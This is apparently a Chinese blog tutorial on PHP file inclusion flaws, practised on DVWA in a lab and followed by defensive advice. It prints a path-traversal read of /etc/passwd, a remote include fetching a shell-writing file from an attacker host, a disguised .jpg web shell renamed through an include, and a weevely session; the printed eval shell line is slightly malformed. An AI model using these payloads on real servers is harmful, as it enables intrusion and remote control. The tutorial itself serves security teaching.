Web安全:文件包含漏洞基本概念及相关实践

前言

文件包含漏洞(Malicious file execution vulnerabilities)近几年并不突出,但曾在2007年 OWASP TOP 10中排名第三,仅次于XSS和注入漏洞。

Malicious file execution vulnerabilities are found in many applications. Developers will often directly use or concatenate potentially hostile input with file or stream functions, or improperly trust input files. On many platforms, frameworks allow the use of external object references, such as URLs or file system references. When the data is insufficiently checked, this can lead to arbitrary remote and hostile content being included, processed or invoked by the web server.

Referencehttps://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf

一、介绍

形成原因

说到文件包含漏洞,有必要提一下,模块化程序设计思想。

为了使程序设计更加简单高效,程序设计人员往往会把程序中经常用到的计算或操作,编写成通用函数,保存在特定文件,以供随时调用。

模块化程序设计本身提高了程序开发的效率,减轻了程序设计人员的负担。

但有时程序设计人员为了让代码更加灵活,会把需要包含的文件设置成变量。而这种灵活,有时会被攻击者利用,从浏览器发出命令,让程序包含一个恶意文件,从而导致web服务器被控制,这就是文件包含漏洞。

其中PHP语言最易受到此类攻击。只要文件内容符合php语法规范,任何文件扩展名都会被PHP解析。而包含内容不符合PHP语法规范时,会将文件内容返回。

二、简单实践

实验环境

OWASP BWA、kali

读取敏感文件

示例

https://192.168.75.130/dvwa/vulnerabilities/fi/?page=/etc/passwd

结果

 远程包含

远程文件包含需要web server开启远程包含功能

allow_url_include = on

攻击机开启appach

创建upload.txt,包含如下内容

<?fputs(fopen("test.php", "w"), "<?php eval($_POST[test];?>")?>

访问

https://192.168.75.130/dvwa/vulnerabilities/fi/?page=http://192.168.75.129/upload.txt

192.168.75.129是攻击机的IP

访问后,将会在/dvwa/vulnerabilities/fi/ 下生成test.php。内容如下

<?php eval($_POST[test];?>

本地文件包含加文件上传

将木马文件重命名

kali@kali:~/Documents/weevely$ mv upload.php upload.jpg
kali@kali:~/Documents/weevely$ ls
upload.jpg
kali@kali:~/Documents/weevely$ vi rename.jpg
kali@kali:~/Documents/weevely$ ls
rename.jpg  upload.jpg

 rename.jpg内容

kali@kali:~/Documents/weevely$ cat rename.jpg 
<?php rename("../../hackable/uploads/upload.jpg","../../hackable/uploads/upload.php"); ?> 

上传upload.jpg和rename.jpg

文件包含

https://192.168.75.130/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/rename.jpg

木马连接

kali@kali:~/Documents/weevely$ weevely http://192.168.75.130/dvwa/hackable/uploads/upload.php test

[+] weevely 4.0.1

[+] Target:     www-data@owaspbwa:/owaspbwa/dvwa-git/hackable/uploads
[+] Session:    /home/kali/.weevely/sessions/192.168.75.130/upload_0.session
[+] Shell:      System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> uname -a
Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 i686 GNU/Linux
www-data@owaspbwa:/owaspbwa/dvwa-git/hackable/uploads $ 

 

实际上,查看owasp web server,可了解整个过程文件的前后变换

//文件未上传
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
upload.jpg
//文件已上传
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
rename.jpg  upload.jpg

//文件包含后
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
rename.jpg  upload.jpg
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
rename.jpg  upload.php

三、防御方法

  •        使用白名单规则,对用户的输入严格检查(事实上,单独的白名单规则并不能确保安全,攻击者可通过截断攻击,web容器解析漏洞等绕过检查)
  •       使用沙盒隔离web应用。
  •       不要使用动态包含,将要包含的模块固定写好。
  •       对于PHP而言关闭php.ini中的allow_url_fopen and allow_url_include 。

四、参考资料

《白帽子讲Web安全》

https://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值